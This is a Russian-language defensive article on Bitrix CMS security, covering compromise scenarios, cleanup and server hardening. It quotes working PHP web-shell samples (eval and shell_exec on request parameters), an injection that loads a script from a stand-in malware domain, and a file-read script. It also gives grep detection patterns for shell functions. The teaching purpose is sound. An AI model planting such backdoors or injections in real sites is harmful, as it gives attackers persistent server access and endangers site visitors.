Безопасность CMS Битрикс: технический разбор и как защитить сайт

Битрикс — безопасная CMS сама по себе. Но это большая система: её дорабатывают, подключают модули, пишут свой код и интегрируют с CRM и платёжками. Уязвимости чаще всего появляются как раз в этих местах — в кастомной логике и настройках сервера.

Если вы поддерживаете или разрабатываете проекты на Bitrix без должного внимания к безопасности, рано или поздно сталкиваетесь с риском компрометации: закладки в сторонних шаблонах, скрипты в /upload без настроенного запрета на их выполнение, «левые» запросы в логах не обновлённой CMS.

В материале — технический разбор без воды:

• какие виды недостатков чаще всего встречаются на проектах под управлением CMS Битрикс;
• в каких файлах и каталогах искать следы возможной компрометации;
• как выглядит типичный вредоносный код;
• почему совет «просто переустановите Bitrix» не решает проблему;
• что на практике означает нормально вылечить сайт, а не просто удалить пару файлов.

---

Типовые сценарии компрометации Bitrix-проектов

1. Backdoor-скрипты (самый частый сценарий)

Backdoor — это файл или кусок кода, который даёт атакующему постоянный доступ к серверу.

Часто выглядит максимально примитивно:

<?php
@eval($_POST['cmd']);

Или чуть более «аккуратно»:

<?php
if (isset($_REQUEST['k']) && md5($_REQUEST['k']) === 'e99a18c428cb38d5f260853678922e03') {
    echo shell_exec($_REQUEST['c']);
}

Условия эксплуатации

Чтобы внедрить бэкдор, злоумышленнику нужно заранее получить несанкционированный доступ к серверу, к файлам и коду проекта. Для этого необходимо, например, украсть административную учётную запись для прямого доступа к серверу или к админке. Также может быть заранее проведена атака, связанная с получением возможности удалённого выполнения кода, например через незащищённую папку /upload/.

Типичные признаки

Бэкдор обычно обладает следующими признаками:

• оказывается в /upload/, /bitrix/cache/, /local/php_interface/;
• маскируется под служебные имена (например, под видом кэша или временных файлов);
• не вызывается явно из шаблонов или модулей;
• может остаться на месте даже после обновления ядра.

Удаление одного такого файла проблему не закрывает: как правило, злоумышленник оставляет несколько точек входа.

---

2. Инъекции вредоносного кода в сторонние шаблоны

Часто встречается подмешивание кода в .php или .js шаблоны (например, в footer.php или в подключаемые скрипты).

Пример из практики:

<?php
if (!isset($GLOBALS['__i'])) {
    $GLOBALS['__i'] = 1;
    echo '<script src="//example-malware-domain.com/x.js"></script>';
}

Условия эксплуатации

Чтобы подмешать код, обычно злоумышленнику нужно либо заранее получить несанкционированный доступ к коду проекта, либо воспользоваться следующими ошибками стороннего разработчика, позволяющими сделать инъекцию удалённо:

• не настроена валидация и санитизация входных данных;
• используются опасные функции без очистки, код генерируется на лету на основе параметров запроса без его проверки.

В итоге: обычный пользователь может ничего не замечать, а поисковые системы фиксируют редирект или подгружаемый скрипт — в результате сайт вылетает из выдачи или помечается как небезопасный.

---

3. Вредоносные PHP-файлы в /upload

В документации 1С-Битрикс явно сказано: каталог /upload не предназначен для выполнения PHP. На практике же на многих хостингах и VPS выполнение скриптов в этом каталоге по умолчанию не отключено.

Типичный вредоносный файл:

<?php
echo file_get_contents($_GET['file']);

Условия эксплуатации

Сценарий возможен только при нарушении рекомендаций вендора — если выполнение PHP в /upload не запрещено на уровне веб-сервера.

Правильное решение — конфигурационный запрет, а не ручное удаление файлов.

---

4. Уязвимые кастомные AJAX-обработчики

Частая проблема — обработчики, работающие напрямую с $_REQUEST.

❌ Небезопасно:

<?php
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
echo $_REQUEST['data'];

✅ Минимально корректно (по документации Bitrix):

<?php
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

use Bitrix\Main\Context;
use Bitrix\Main\Engine\CurrentUser;

$request = Context::getCurrent()->getRequest();

if (!$request->isPost() || !check_bitrix_sessid()) {
    die('Access denied');
}

if (!CurrentUser::get()->isAuthorized()) {
    die('Access denied');
}

$data = $request->getPost('data');
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');

Условия эксплуатации

• отсутствие проверки метода запроса;
• отсутствие CSRF-проверки;
• отсутствие проверки прав;
• ошибки сторонних разработчиков модулей.

---

5. Устаревшие модули и интеграции

Если модуль давно не обновляется, использует устаревшие API и не фильтрует входные данные — уязвимость возникает в стороннем коде, а не в ядре CMS.

---

Почему переустановка Bitrix не решает проблему

Переустановка ядра:

• не затрагивает /upload и /local;
• не устраняет уязвимость;
• не отзывает скомпрометированные доступы;
• не объясняет причину инцидента.

Результат — повторная компрометация.

---

Как корректно проводить технический разбор

Поиск подозрительных конструкций

grep -R "eval(base64_decode" /var/www/site
grep -R -E "shell_exec|passthru|system\s*\(" /var/www/site

Проверка /upload

find /var/www/site/upload -name "*.php" -mtime -30 -ls

Анализ логов

tail -n 500 /var/log/nginx/access.log
tail -n 500 /var/log/nginx/error.log

Без логов невозможно понять вектор атаки и закрыть все точки входа.

---

Безопасная настройка — обязательный этап

После устранения последствий необходимо:

• ограничить доступ к /bitrix/admin;
• запретить выполнение PHP в /upload;
• проверить cron и агенты;
• обновить проблемные модули;
• перепроверить кастомные обработчики.

Nginx

location ~* ^/upload/.*\.php$ {
    deny all;
}

Apache

Apache — то же самое через .htaccess в каталоге upload (если разрешён AllowOverride):

<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

---

Почему с Bitrix нужен инженерный подход

Bitrix-проект — это ядро, модули, кастомный код, серверная конфигурация и интеграции. Без понимания архитектуры невозможно гарантировать результат.

---

Итог

Инциденты компрометации сайтов на 1С-Битрикс — это следствие ошибок настройки и эксплуатации, а не «небезопасности CMS».

Рабочая модель всегда одна:

анализ → устранение последствий → закрытие уязвимостей → мониторинг

Только так сайт действительно становится устойчивым, а не «доживает до следующего инцидента».

---

Связанные сниппеты

• Bitrix: безопасный AJAX-обработчик (prolog_before.php, Context, sessid) — проверка POST, CSRF и авторизации по документации Bitrix.